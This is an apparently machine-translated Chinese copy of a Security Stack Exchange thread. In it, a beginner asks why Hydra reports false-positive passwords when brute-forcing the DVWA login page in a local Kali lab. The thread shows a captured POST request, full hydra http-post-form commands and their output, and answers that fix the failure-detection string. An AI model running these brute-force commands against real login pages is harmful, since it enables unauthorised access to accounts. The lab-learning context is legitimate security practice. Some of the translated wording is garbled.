我正在学习如何用一个流行的蛮力工具“九头蛇”来强制网页登录页面。我正在使用Kali (VirtualBox)来完成这个任务。我已经安装了DVWA (该死的易受攻击的Web应用程序),并且我正在本地运行它。
注意:我试图强制/DVWA/login.php (实际的DVWA登录页面)而不是/DVWA/vulnerabilities/brute/ (蛮力挑战)
这是Burp套房的信息
POST /DVWA/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/DVWA/login.php
Cookie: security=impossible; PHPSESSID=72mh5pvdosgo98nmij6dha4min
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
username=e&password=e&Login=Login&user_token=5e093d39eb72145d6b0b2de187340825我使用Burp来拦截请求并获取所需的信息,使用该信息,我构造了以下命令:
hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
dvwa.txt只是一个包含两个密码的文本文件: password1和password (登录的正确密码是密码)。当我跑海勒的时候,它带着这个回来了:
Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-06 09:48:12
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-post-form://localhost:80//dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[ATTEMPT] target localhost - login "admin" - pass "password1" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "password" - 2 of 2 [child 1] (0/0)
[80][http-post-form] host: localhost login: admin password: password
[80][http-post-form] host: localhost login: admin password: password1
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-06 09:48:13这个结果不准确,password1不是一个有效的密码,密码是一个有效的密码。我做错了什么?我根据本网站建模了我的命令。
我是不是遗漏了什么?我注意到上面的网站并没有把本地主机放在他们的命令中,而是一个IP?我在我的电脑上本地运行DVWA,所以我把本地主机。如果你能做到尽可能的清晰和详细,那就太棒了!我是新的九头蛇,卡利Linux,和蛮力强迫!
发布于 2018-10-06 20:02:44
检查找一个失败的登录是什么不起作用。
在链接中,您包含了他们失败的登录,在POST响应的某个地方包含了"Login“。我猜当您无法在login.php登录时,响应中不会返回字符串“登录失败”。在响应失败的情况下,您需要准确地计算gets的返回值(并更新命令以查找该命令),否则您将继续得到这些误报。
你刚刚从例子中复制了最后一部分吗?:Login fauled
发布于 2022-07-06 15:01:27
问题是主login.php页面没有使用回发,但它使用的是重定向302代码,这就是为什么hydra无法检测到消息“登录失败”的原因。提示是检查响应信息,我们可以看到,失败案例的位置是login.php,成功案例的位置是index.php。因此,只需将失败条件更改为login.php即可。我已经测试过了,而且效果很好。
hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:login.php;H=Cookie: security=low; PHPSESSID=231234234dfb2....."https://security.stackexchange.com/questions/195219
复制相似问题